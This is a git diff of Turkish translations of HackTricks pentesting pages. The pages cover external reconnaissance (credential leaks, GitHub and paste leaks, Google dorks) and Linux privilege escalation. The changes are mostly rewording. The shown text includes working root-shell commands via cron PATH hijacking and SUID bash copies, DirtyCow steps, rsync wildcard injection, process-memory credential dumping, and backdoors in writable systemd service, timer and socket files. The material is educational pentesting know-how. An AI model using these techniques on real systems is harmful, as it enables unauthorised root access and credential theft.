(ücretsiz sürüm) - [**https://minelead.io/**](https://minelead.io/) API'si (ücretsiz sürüm) ### **Zayıf Noktaları Arama** -E-postalar, **web girişlerini ve kimlik doğrulama hizmetlerini** (SSH gibi) **brute-force** yapmak için daha sonra işe yarayacaktır. Ayrıca, **phishing** için de gereklidirler. Ayrıca, bu API'ler e-posta sahibinin arkasındaki kişi hakkında daha fazla **bilgi** sağlayacaktır, bu da phishing kampanyası için faydalıdır. +E-postalar, daha sonra **web girişlerini ve kimlik doğrulama hizmetlerini** (SSH gibi) **brute-force** yapmak için faydalı olacaktır. Ayrıca, **phishing** için de gereklidir. Ayrıca, bu API'ler e-posta sahibinin arkasındaki kişi hakkında daha fazla **bilgi** sağlayacaktır, bu da phishing kampanyası için faydalıdır. ## Kimlik Bilgisi Sızıntıları -**Alan adları**, **alt alan adları** ve **e-postalar** ile, bu e-postalara ait geçmişte sızdırılan kimlik bilgilerini aramaya başlayabilirsiniz: +**Alan adları**, **alt alan adları** ve **e-postalar** ile, geçmişte bu e-postalara ait sızdırılmış kimlik bilgilerini aramaya başlayabilirsiniz: - [https://leak-lookup.com](https://leak-lookup.com/account/login) - [https://www.dehashed.com/](https://www.dehashed.com/) @@ -545,14 +546,14 @@ E-postalar, **web girişlerini ve kimlik doğrulama hizmetlerini** (SSH gibi) ** ## Gizli Bilgi Sızıntıları -Kimlik bilgisi sızıntıları, **hassas bilgilerin sızdırıldığı ve satıldığı** şirketlerin hacklenmesiyle ilgilidir. Ancak, şirketler bu veritabanlarında yer almayan **diğer sızıntılardan** da etkilenebilir: +Kimlik bilgisi sızıntıları, **hassas bilgilerin sızdırıldığı ve satıldığı** şirketlerin hacklenmesi ile ilgilidir. Ancak, şirketler, bu verilerin bulunmadığı **diğer sızıntılardan** da etkilenebilir: ### Github Sızıntıları -Kimlik bilgileri ve API'ler, **şirketin** veya o github şirketinde çalışan **kullanıcıların** **açık kaynaklı depolarında** sızdırılabilir.\ -**Leakos** adlı aracı kullanarak bir **organizasyonun** ve onun **geliştiricilerinin** tüm **açık reposunu** **indirmek** ve bunlar üzerinde otomatik olarak [**gitleaks**](https://github.com/zricethezav/gitleaks) çalıştırabilirsiniz. +Kimlik bilgileri ve API'ler, **şirketin** veya o github şirketinde çalışan **kullanıcıların** **açık havuzlarında** sızdırılabilir.\ +Bir **organizasyonun** ve **geliştiricilerinin** tüm **açık reposunu** **indirmek** için [**Leakos**](https://github.com/carlospolop/Leakos) aracını kullanabilir ve bunlar üzerinde otomatik olarak [**gitleaks**](https://github.com/zricethezav/gitleaks) çalıştırabilirsiniz. -**Leakos**, bazen **web sayfalarının da gizli bilgiler içerebileceği** için, kendisine **sağlanan URL'ler** üzerinden **gitleaks** çalıştırmak için de kullanılabilir. +**Leakos**, bazen **web sayfalarının da gizli bilgiler** içermesi nedeniyle, kendisine **verilen URL'ler** üzerinden **gitleaks** çalıştırmak için de kullanılabilir. #### Github Dorks @@ -564,14 +565,14 @@ github-leaked-secrets.md ### Paste Sızıntıları -Bazen saldırganlar veya sadece çalışanlar, **şirket içeriğini bir paste sitesinde yayınlayabilirler**. Bu, **hassas bilgiler** içerebilir veya içermeyebilir, ancak aramak için çok ilginçtir.\ -Birden fazla paste sitesinde aynı anda arama yapmak için [**Pastos**](https://github.com/carlospolop/Pastos) aracını kullanabilirsiniz. +Bazen saldırganlar veya sadece çalışanlar, **şirket içeriğini bir paste sitesinde** **yayınlayabilirler**. Bu, **hassas bilgiler** içerebilir veya içermeyebilir, ancak aramak için çok ilginçtir.\ +Aynı anda 80'den fazla paste sitesinde arama yapmak için [**Pastos**](https://github.com/carlospolop/Pastos) aracını kullanabilirsiniz. ### Google Dorks -Eski ama altın değerinde google dorks, **orada olmaması gereken açık bilgileri bulmak için** her zaman faydalıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)'in, manuel olarak çalıştıramayacağınız birkaç **bin** olası sorgu içermesidir. Bu yüzden, en sevdiğiniz 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç** kullanabilirsiniz. +Eski ama altın değerindeki google dorks, **orada olmaması gereken** **açık bilgileri** bulmak için her zaman faydalıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)'in, manuel olarak çalıştıramayacağınız birkaç **binlerce** olası sorgu içermesidir. Bu yüzden, en sevdiğiniz 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç** kullanabilirsiniz. -_Not edin ki, tüm veritabanını normal Google tarayıcısını kullanarak çalıştırmayı bekleyen araçlar asla bitmeyecek, çünkü Google sizi çok kısa sürede engelleyecektir._ +_Not: Tüm veritabanını normal Google tarayıcısını kullanarak çalıştırmayı bekleyen araçlar asla bitmeyecek, çünkü Google sizi çok kısa sürede engelleyecektir._ ### **Zayıf Noktaları Arama** @@ -587,15 +588,15 @@ Eğer şirketin **açık kaynak kodu** olduğunu bulursanız, bunu **analiz edeb ../../network-services-pentesting/pentesting-web/code-review-tools.md {{#endref}} -Ayrıca, **açık kaynaklı depoları taramanıza** olanak tanıyan ücretsiz hizmetler de vardır: +Ayrıca, **açık havuzları taramanıza** olanak tanıyan ücretsiz hizmetler de vardır: - [**Snyk**](https://app.snyk.io/) ## [**Web Pentesting Metodolojisi**](../../network-services-pentesting/pentesting-web/) -**Hata avcıları tarafından bulunan zayıf noktaların** çoğu **web uygulamalarında** yer almaktadır, bu yüzden bu noktada bir **web uygulaması test metodolojisi** hakkında konuşmak istiyorum ve [**bu bilgiyi burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/). +**Hata avcıları tarafından bulunan** **zayıf noktaların** çoğu **web uygulamalarında** yer almaktadır, bu yüzden bu noktada bir **web uygulaması test metodolojisi** hakkında konuşmak istiyorum ve bu bilgiyi [**burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/). -Ayrıca, [**Web Otomatik Tarayıcıları açık kaynak araçlar**](../../network-services-pentesting/pentesting-web/#automatic-scanners) bölümüne özel bir atıfta bulunmak istiyorum, çünkü, çok hassas zayıf noktaları bulmalarını beklememelisiniz, ancak **ilk web bilgilerini elde etmek için iş akışlarına entegre etmekte faydalıdırlar.** +Ayrıca, [**Web Otomatik Tarayıcıları açık kaynak araçları**](../../network-services-pentesting/pentesting-web/#automatic-scanners) bölümüne özel bir atıfta bulunmak istiyorum, çünkü, çok hassas zayıf noktaları bulmalarını beklememelisiniz, ancak **ilk web bilgilerini elde etmek için iş akışlarına entegre etmekte faydalıdırlar.** ## Tekrar @@ -603,11 +604,11 @@ Ayrıca, [**Web Otomatik Tarayıcıları açık kaynak araçlar**](../../network Artık şunları buldunuz: -1. Kapsamdaki **tüm şirketleri** buldunuz +1. Kapsam içindeki **tüm şirketleri** buldunuz 2. Şirketlere ait **tüm varlıkları** buldunuz (ve kapsamda ise bazı zayıflık taramaları gerçekleştirdiniz) 3. Şirketlere ait **tüm alan adlarını** buldunuz 4. Alan adlarının **tüm alt alan adlarını** buldunuz (herhangi bir alt alan ele geçirme?) -5. Kapsamdaki **tüm IP'leri** (CDN'lerden ve **CDN'lerden olmayan**) buldunuz. +5. Kapsam içindeki **tüm IP'leri** (CDN'lerden ve **CDN'lerden olmayan**) buldunuz. 6. **Tüm web sunucularını** buldunuz ve bunların **ekran görüntülerini** aldınız (daha derin bir incelemeyi gerektiren garip bir şey var mı?) 7. Şirkete ait **potansiyel kamu bulut varlıklarını** buldunuz. 8. **E-postalar**, **kimlik bilgisi sızıntıları** ve **gizli sızıntılar** size **çok kolay bir büyük kazanç** sağlayabilir. @@ -626,5 +627,4 @@ Belirli bir kapsamda önerilen eylemlerin bir kısmını gerçekleştirecek birk - [**@Jhaddix**](https://twitter.com/Jhaddix) tarafından sunulan tüm ücretsiz kurslar, [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) gibi - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index ad591d6b3..3f31e9c96 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,7 +6,7 @@ ### OS bilgisi -İşletim sisteminin bilgilerini edinmeye başlayalım +İşletim sisteminin çalıştığı hakkında bilgi edinmeye başlayalım ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,7 +14,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -Eğer **`PATH`** değişkeni içindeki herhangi bir klasörde yazma izinleriniz varsa, bazı kütüphaneleri veya ikili dosyaları ele geçirebilirsiniz: +Eğer `PATH` değişkeni içindeki herhangi bir klasörde **yazma izinleriniz varsa**, bazı kütüphaneleri veya ikili dosyaları ele geçirebilirsiniz: ```bash echo $PATH ``` @@ -49,7 +49,7 @@ Her zaman **Google'da çekirdek sürümünü arayın**, belki çekirdek sürüm ### CVE-2016-5195 (DirtyCow) -Linux Yetki Yükseltme - Linux Kernel <= 3.19.0-73.8 +Linux Yetki Yükseltme - Linux Çekirdeği <= 3.19.0-73.8 ```bash # make dirtycow stable echo 0 > /proc/sys/vm/dirty_writeback_centisecs @@ -59,7 +59,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo sürümü -Görünüşteki savunmasız sudo sürümlerine dayanarak: +Göründüğü üzere, savunmasız sudo sürümleri: ```bash searchsploit sudo ``` @@ -131,7 +131,7 @@ docker-security/ ## Drives -**Nelerin monte edildiğini ve monte edilmediğini**, nerede ve neden kontrol edin. Eğer herhangi bir şey monte edilmemişse, onu monte etmeyi deneyebilir ve özel bilgileri kontrol edebilirsiniz. +**Nelerin monte edildiğini ve monte edilmediğini**, nerede ve neden olduğunu kontrol edin. Eğer herhangi bir şey monte edilmemişse, onu monte etmeyi deneyebilir ve özel bilgileri kontrol edebilirsiniz. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -150,7 +150,7 @@ Ayrıca, **herhangi bir derleyicinin yüklü olup olmadığını kontrol edin**. ``` ### Güvenlik Açığı Olan Yazılımlar Yüklü -**Yüklenen paketlerin ve hizmetlerin sürümünü** kontrol edin. Belki de ayrıcalıkları artırmak için istismar edilebilecek eski bir Nagios sürümü vardır (örneğin)...\ +Yüklenen **paketlerin ve hizmetlerin sürümünü** kontrol edin. Belki de ayrıcalıkları artırmak için istismar edilebilecek eski bir Nagios sürümü vardır (örneğin)...\ Daha şüpheli yüklü yazılımların sürümünü manuel olarak kontrol etmeniz önerilir. ```bash dpkg -l #Debian @@ -168,12 +168,12 @@ ps aux ps -ef top -n 1 ``` -Her zaman mümkün olan [**electron/cef/chromium debuggers**'ın çalışıp çalışmadığını kontrol edin, bunu yetkileri artırmak için kötüye kullanabilirsiniz](electron-cef-chromium-debugger-abuse.md). **Linpeas**, sürecin komut satırında `--inspect` parametresini kontrol ederek bunları tespit eder.\ +Her zaman mümkün olan [**electron/cef/chromium debuggers**'ın çalışıp çalışmadığını kontrol edin, bunu yetkileri artırmak için kötüye kullanabilirsiniz](electron-cef-chromium-debugger-abuse.md). **Linpeas**, sürecin komut satırındaki `--inspect` parametresini kontrol ederek bunları tespit eder.\ Ayrıca **işlemlerin ikili dosyaları üzerindeki yetkilerinizi kontrol edin**, belki birinin üzerine yazabilirsiniz. ### Süreç izleme -[**pspy**](https://github.com/DominicBreuker/pspy) gibi araçları kullanarak süreçleri izleyebilirsiniz. Bu, sıkça yürütülen veya belirli bir gereksinim seti karşılandığında zayıf süreçleri tanımlamak için çok yararlı olabilir. +[**pspy**](https://github.com/DominicBreuker/pspy) gibi araçları kullanarak süreçleri izleyebilirsiniz. Bu, sıkça yürütülen veya belirli bir dizi gereksinim karşılandığında zayıf süreçleri tanımlamak için çok yararlı olabilir. ### Süreç belleği @@ -182,14 +182,14 @@ Genellikle, diğer kullanıcılara ait süreçlerin belleğini okumak için **ro Ancak, **normal bir kullanıcı olarak sahip olduğunuz süreçlerin belleğini okuyabileceğinizi unutmayın**. > [!WARNING] -> Günümüzde çoğu makinenin **varsayılan olarak ptrace'a izin vermediğini** unutmayın, bu da yetkisiz kullanıcıya ait diğer süreçleri dökemezsiniz anlamına gelir. +> Günümüzde çoğu makinenin **varsayılan olarak ptrace'a izin vermediğini** unutmayın, bu da yetkisiz kullanıcınıza ait diğer süreçleri dökemezsiniz anlamına gelir. > > _**/proc/sys/kernel/yama/ptrace_scope**_ dosyası ptrace erişimini kontrol eder: > > - **kernel.yama.ptrace_scope = 0**: tüm süreçler, aynı uid'ye sahip oldukları sürece hata ayıklanabilir. Bu, ptracing'in klasik çalışma şeklidir. > - **kernel.yama.ptrace_scope = 1**: yalnızca bir ana süreç hata ayıklanabilir. > - **kernel.yama.ptrace_scope = 2**: Yalnızca yönetici ptrace kullanabilir, çünkü bu CAP_SYS_PTRACE yeteneğini gerektirir. -> - **kernel.yama.ptrace_scope = 3**: Hiçbir süreç ptrace ile izlenemez. Ayarlandıktan sonra, ptracing'i tekrar etkinleştirmek için yeniden başlatma gereklidir. +> - **kernel.yama.ptrace_scope = 3**: Hiçbir süreç ptrace ile izlenemez. Ayarlandıktan sonra, ptracing'i tekrar etkinleştirmek için bir yeniden başlatma gerekir. #### GDB @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Verilen bir işlem kimliği için, **maps o işlemin** sanal adres alanında belleğin nasıl haritalandığını gösterir; ayrıca **her haritalanmış bölgenin izinlerini** de gösterir. **mem** sanal dosyası **işlemlerin belleğini** kendisi açığa çıkarır. **maps** dosyasından hangi **bellek bölgelerinin okunabilir olduğunu** ve bunların ofsetlerini biliyoruz. Bu bilgiyi **mem dosyasına erişmek ve tüm okunabilir bölgeleri** bir dosyaya dökmek için kullanıyoruz. +Verilen bir işlem kimliği için, **maps o işlemin** sanal adres alanında belleğin nasıl haritalandığını gösterir; ayrıca **her haritalanmış bölgenin izinlerini** de gösterir. **mem** sahte dosyası **işlemin belleğini** kendisi açığa çıkarır. **maps** dosyasından hangi **bellek bölgelerinin okunabilir olduğunu** ve bunların ofsetlerini biliyoruz. Bu bilgiyi kullanarak **mem dosyasına erişip tüm okunabilir bölgeleri** bir dosyaya döküyoruz. ```bash procdump() ( @@ -270,7 +270,7 @@ Bir işlem belleğini dökmek için şunları kullanabilirsiniz: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) - [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Root gereksinimlerini manuel olarak kaldırabilir ve sizin sahip olduğunuz işlemi dökebilirsiniz -- [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) adresinden Script A.5 (root gereklidir) +- [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) adresindeki Script A.5 (root gereklidir) ### İşlem Belleğinden Kimlik Bilgileri @@ -281,7 +281,7 @@ Eğer doğrulayıcı işlemin çalıştığını bulursanız: ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Süreci dökebilirsiniz (bir sürecin belleğini dökmenin farklı yollarını bulmak için önceki bölümlere bakın) ve belleğin içinde kimlik bilgilerini arayabilirsiniz: +Süreci dökebilirsiniz (bir sürecin belleğini dökmenin farklı yollarını bulmak için önceki bölümlere bakın) ve bellekte kimlik bilgilerini arayabilirsiniz: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password @@ -315,7 +315,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... ``` ## Zamanlanmış/Cron görevleri -Herhangi bir zamanlanmış görevin zayıf olup olmadığını kontrol edin. Belki root tarafından yürütülen bir scriptten faydalanabilirsiniz (wildcard zayıflığı mı? root'un kullandığı dosyaları değiştirebilir mi? symlink'ler kullanabilir mi? root'un kullandığı dizinde belirli dosyalar oluşturabilir mi?). +Herhangi bir zamanlanmış görevin zayıf olup olmadığını kontrol edin. Belki root tarafından yürütülen bir scriptten faydalanabilirsiniz (wildcard zafiyeti mi? root'un kullandığı dosyaları değiştirebilir mi? symlink'ler kullanabilir mi? root'un kullandığı dizinde belirli dosyalar oluşturabilir mi?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -327,7 +327,7 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul (_Kullanıcı "user"ın /home/user üzerinde yazma ayrıcalıklarına sahip olduğunu not edin_) -Eğer bu crontab içinde root kullanıcısı yolu ayarlamadan bazı komut veya betikler çalıştırmaya çalışırsa. Örneğin: _\* \* \* \* root overwrite.sh_\ +Eğer bu crontab içinde root kullanıcısı bir komut veya scripti yolu ayarlamadan çalıştırmaya çalışırsa. Örneğin: _\* \* \* \* root overwrite.sh_\ O zaman, şunu kullanarak bir root shell elde edebilirsiniz: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh @@ -336,7 +336,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Cron bir joker karakter ile bir script kullanma (Joker Karakter Enjeksiyonu) -Eğer root tarafından yürütülen bir script bir komutun içinde “**\***” içeriyorsa, bunu beklenmedik şeyler (örneğin privesc) yapmak için kullanabilirsiniz. Örnek: +Eğer root tarafından yürütülen bir script bir komutun içinde “**\***” içeriyorsa, bunu beklenmedik şeyler yapmak için (örneğin privesc) kullanabilirsiniz. Örnek: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` @@ -356,15 +356,15 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Eğer root tarafından yürütülen script, **tam erişiminizin olduğu bir dizin kullanıyorsa**, belki de o klasörü silmek ve **kontrolünüzdeki bir script'i hizmet eden başka birine symlink klasörü oluşturmak** faydalı olabilir. +Eğer root tarafından yürütülen script, **tam erişiminiz olan bir dizini** kullanıyorsa, belki de o klasörü silmek ve **kontrolünüzdeki bir script'i hizmet eden başka birine symlink klasörü oluşturmak** faydalı olabilir. ```bash ln -d -s ``` ### Sık Cron Görevleri -Her 1, 2 veya 5 dakikada bir yürütülen süreçleri aramak için süreçleri izleyebilirsiniz. Belki bunu avantaja çevirip ayrıcalıkları artırabilirsiniz. +Her 1, 2 veya 5 dakikada bir çalıştırılan süreçleri aramak için süreçleri izleyebilirsiniz. Belki bundan yararlanabilir ve ayrıcalıkları artırabilirsiniz. -Örneğin, **1 dakika boyunca her 0.1 saniyede bir izlemek**, **daha az yürütülen komutlara göre sıralamak** ve en çok yürütülen komutları silmek için şunu yapabilirsiniz: +Örneğin, **1 dakika boyunca her 0.1 saniyede bir izlemek**, **daha az çalıştırılan komutlara göre sıralamak** ve en çok çalıştırılan komutları silmek için şunu yapabilirsiniz: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` @@ -380,12 +380,12 @@ Bir cron işi **bir yorumdan sonra bir satır sonu karakteri olmadan bir satır ### Yazılabilir _.service_ dosyaları -Herhangi bir `.service` dosyasını yazıp yazamayacağınızı kontrol edin, eğer yazabiliyorsanız, onu **değiştirip** hizmet **başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** **arka kapınızı çalıştıracak** şekilde **ayarlayabilirsiniz** (belki makinenin yeniden başlatılmasını beklemeniz gerekecek).\ +Herhangi bir `.service` dosyasını yazıp yazamayacağınızı kontrol edin, eğer yazabiliyorsanız, bunu **değiştirebilir** ve **hizmet başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** **arka kapınızı çalıştıracak** şekilde ayarlayabilirsiniz (belki makinenin yeniden başlatılmasını beklemeniz gerekecek).\ Örneğin, arka kapınızı .service dosyasının içine **`ExecStart=/tmp/script.sh`** ile oluşturun. ### Yazılabilir hizmet ikili dosyaları -Eğer hizmetler tarafından yürütülen ikili dosyalar üzerinde **yazma izinleriniz varsa**, bunları arka kapılarla değiştirebilirsiniz, böylece hizmetler yeniden yürütüldüğünde arka kapılar çalıştırılacaktır. +Eğer **hizmetler tarafından yürütülen ikili dosyalar üzerinde yazma izinleriniz varsa**, bunları arka kapılarla değiştirebilirsiniz, böylece hizmetler yeniden yürütüldüğünde arka kapılar çalıştırılacaktır. ### systemd PATH - Göreli Yollar @@ -399,13 +399,13 @@ ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Sonra, yazabileceğiniz systemd PATH klasörü içinde **göreli yol ikili dosyasıyla aynı isme sahip bir **çalıştırılabilir** dosya oluşturun ve hizmet, savunmasız eylemi (**Başlat**, **Durdur**, **Yenile**) gerçekleştirmesi istendiğinde, **arka kapınız çalıştırılacaktır** (yetkisiz kullanıcılar genellikle hizmetleri başlatamaz/durduramaz, ancak `sudo -l` kullanıp kullanamayacağınızı kontrol edin). +Sonra, yazabileceğiniz systemd PATH klasörü içinde **göreli yol ikili dosyasıyla aynı isme sahip bir **çalıştırılabilir** dosya oluşturun ve hizmetten savunmasız eylemi (**Başlat**, **Durdur**, **Yenile**) gerçekleştirmesi istendiğinde, **arka kapınız çalıştırılacaktır** (yetkisiz kullanıcılar genellikle hizmetleri başlatamaz/durduramaz, ancak `sudo -l` kullanıp kullanamayacağınızı kontrol edin). **Hizmetler hakkında daha fazla bilgi edinin: `man systemd.service`.** ## **Zamanlayıcılar** -**Zamanlayıcılar**, `**.service**` dosyalarını veya olayları kontrol eden `**.timer**` ile biten systemd birim dosyalarıdır. **Zamanlayıcılar**, takvim zamanı olayları ve monotonik zaman olayları için yerleşik destekleri olduğundan, cron'a alternatif olarak kullanılabilir ve asenkron olarak çalıştırılabilirler. +**Zamanlayıcılar**, `**.service**` dosyalarını veya olayları kontrol eden `**.timer**` ile biten systemd birim dosyalarıdır. **Zamanlayıcılar**, takvim zamanı olayları ve monotonik zaman olayları için yerleşik destekleri olduğundan, cron'a alternatif olarak kullanılabilir ve asenkron olarak çalıştırılabilir. Tüm zamanlayıcıları şu şekilde listeleyebilirsiniz: ```bash @@ -417,14 +417,14 @@ Eğer bir zamanlayıcıyı değiştirebiliyorsanız, onu bazı systemd.unit varl ```bash Unit=backdoor.service ``` -Belgede, bir Birimin ne olduğunu okuyabilirsiniz: +Belgede birimin ne olduğunu okuyabilirsiniz: -> Bu zamanlayıcı süresi dolduğunda etkinleştirilecek birim. Argüman, ".timer" ile bitmeyen bir birim adıdır. Belirtilmezse, bu değer, zamanlayıcı birimi ile aynı ada sahip bir hizmete varsayılan olarak ayarlanır, sadece son ek hariç. (Yukarıya bakın.) Etkinleştirilen birim adı ile zamanlayıcı birimi adı, son ek hariç aynı şekilde adlandırılması önerilir. +> Bu zamanlayıcı süresi dolduğunda etkinleştirilecek birim. Argüman, ".timer" ile bitmeyen bir birim adıdır. Belirtilmezse, bu değer, zamanlayıcı birimi ile aynı ada sahip bir hizmete varsayılan olarak ayarlanır, yalnızca sonek hariç. (Yukarıya bakın.) Etkinleştirilen birim adı ile zamanlayıcı birim adı, sonek hariç aynı şekilde adlandırılması önerilir. Bu nedenle, bu izni kötüye kullanmak için şunları yapmanız gerekir: -- **yazılabilir bir ikili dosya** çalıştıran bir systemd birimi (örneğin bir `.service`) bulun -- **göreli bir yolu** çalıştıran bir systemd birimi bulun ve **systemd PATH** üzerinde **yazma ayrıcalıklarınız** olsun (o yürütülebilir dosyayı taklit etmek için) +- **Yazılabilir bir ikili dosyayı** **çalıştıran** bazı systemd birimlerini bulun (örneğin bir `.service`) +- **Göreli bir yolu** **çalıştıran** bazı systemd birimlerini bulun ve **systemd PATH** üzerinde **yazma ayrıcalıklarınız** olsun (o yürütülebilir dosyayı taklit etmek için) **Zamanlayıcılar hakkında daha fazla bilgi edinin `man systemd.timer`.** @@ -446,15 +446,15 @@ Soketler, `.socket` dosyaları kullanılarak yapılandırılabilir. **Soketler hakkında daha fazla bilgi için `man systemd.socket` komutunu öğrenin.** Bu dosya içinde, birkaç ilginç parametre yapılandırılabilir: - `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Bu seçenekler farklıdır ancak bir özet, soketin **nerede dinleyeceğini belirtmek için** kullanılır (AF_UNIX soket dosyasının yolu, dinlenecek IPv4/6 ve/veya port numarası vb.) -- `Accept`: Bir boolean argümanı alır. Eğer **doğruysa**, her gelen bağlantı için bir **hizmet örneği oluşturulur** ve yalnızca bağlantı soketi ona iletilir. Eğer **yanlışsa**, tüm dinleme soketleri kendileri **başlatılan hizmet birimine iletilir** ve tüm bağlantılar için yalnızca bir hizmet birimi oluşturulur. Bu değer, tek bir hizmet biriminin koşulsuz olarak tüm gelen trafiği işlediği datagram soketleri ve FIFOs için göz ardı edilir. **Varsayılan olarak yanlıştır**. Performans nedenleriyle, yeni daemonların yalnızca `Accept=no` için uygun bir şekilde yazılması önerilir. -- `ExecStartPre`, `ExecStartPost`: Dinleme **soketleri**/FIFOs **oluşturulmadan önce** veya **sonra** **çalıştırılan** bir veya daha fazla komut satırı alır. Komut satırının ilk token'ı mutlak bir dosya adı olmalı, ardından işlem için argümanlar gelmelidir. +- `Accept`: Bir boolean argümanı alır. Eğer **doğruysa**, her gelen bağlantı için bir **hizmet örneği oluşturulur** ve yalnızca bağlantı soketi ona iletilir. Eğer **yanlışsa**, tüm dinleme soketleri **başlatılan hizmet birimine iletilir** ve tüm bağlantılar için yalnızca bir hizmet birimi oluşturulur. Bu değer, tek bir hizmet biriminin koşulsuz olarak tüm gelen trafiği işlediği datagram soketleri ve FIFOs için göz ardı edilir. **Varsayılan olarak yanlıştır**. Performans nedenleriyle, yeni daemonların yalnızca `Accept=no` için uygun bir şekilde yazılması önerilir. +- `ExecStartPre`, `ExecStartPost`: Dinleme **soketleri**/FIFOs **oluşturulmadan önce** veya **sonra** **çalıştırılan** bir veya daha fazla komut satırı alır. Komut satırının ilk token'ı bir mutlak dosya adı olmalı, ardından işlem için argümanlar gelmelidir. - `ExecStopPre`, `ExecStopPost`: Dinleme **soketleri**/FIFOs **kapandıktan önce** veya **sonra** **çalıştırılan** ek **komutlar**. -- `Service`: **Gelen trafik** üzerinde **etkinleştirilecek** **hizmet** birimi adını belirtir. Bu ayar yalnızca Accept=no olan soketler için geçerlidir. Varsayılan olarak, soketle aynı adı taşıyan hizmete (ek ile değiştirilmiş) ayarlanır. Çoğu durumda, bu seçeneği kullanmak gerekli olmamalıdır. +- `Service`: **Gelen trafik** üzerinde **etkinleştirilecek** **hizmet** birimi adını belirtir. Bu ayar yalnızca Accept=no olan soketler için geçerlidir. Varsayılan olarak, soketle aynı adı taşıyan hizmete (sonek değiştirilmiş) ayarlanır. Çoğu durumda, bu seçeneği kullanmak gerekli olmamalıdır. ### Yazılabilir .socket dosyaları -Eğer bir **yazılabilir** `.socket` dosyası bulursanız, `[Socket]` bölümünün başına şunu ekleyebilirsiniz: `ExecStartPre=/home/kali/sys/backdoor` ve arka kapı soket oluşturulmadan önce çalıştırılacaktır. Bu nedenle, **muhtemelen makinenin yeniden başlatılmasını beklemeniz gerekecek.**\ -&#xNAN;_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +Eğer **yazılabilir** bir `.socket` dosyası bulursanız, `[Socket]` bölümünün başına `ExecStartPre=/home/kali/sys/backdoor` gibi bir şey **ekleyebilirsiniz** ve arka kapı soket oluşturulmadan önce çalıştırılacaktır. Bu nedenle, **muhtemelen makinenin yeniden başlatılmasını beklemeniz gerekecek.**\ +&#xNAN;_Note edin ki sistemin bu soket dosyası yapılandırmasını kullanıyor olması gerekir, aksi takdirde arka kapı çalıştırılmayacaktır_ ### Yazılabilir soketler @@ -485,7 +485,7 @@ HTTP istekleri için dinleyen bazı **soketler** olabileceğini unutmayın (_.so ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Eğer soket **HTTP** isteği ile **yanıt veriyorsa**, o zaman onunla **iletişim kurabilir** ve belki de **bazı zafiyetleri istismar edebilirsiniz**. +Eğer soket **HTTP** isteği ile **yanıt veriyorsa**, o zaman onunla **iletişim kurabilir** ve belki de **bazı zayıflıkları istismar edebilirsiniz**. ### Yazılabilir Docker Soketi @@ -536,7 +536,7 @@ Upgrade: tcp ### Diğerleri -Eğer **`docker` grubunun içinde** olduğunuz için docker soketi üzerinde yazma izinleriniz varsa, [**yetki yükseltmek için daha fazla yolunuz vardır**](interesting-groups-linux-pe/#docker-group). Eğer [**docker API bir portta dinliyorsa, onu tehlikeye atma şansınız da olabilir**](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Eğer **`docker` grubunun içinde olduğunuz için** docker soketi üzerinde yazma izinleriniz varsa, [**yetki yükseltmek için daha fazla yolunuz vardır**](interesting-groups-linux-pe/#docker-group). Eğer [**docker API bir portta dinliyorsa, onu tehlikeye atma şansınız da olabilir**](../../network-services-pentesting/2375-pentesting-docker.md#compromising). **Docker'dan çıkmanın veya onu kötüye kullanarak yetki yükseltmenin daha fazla 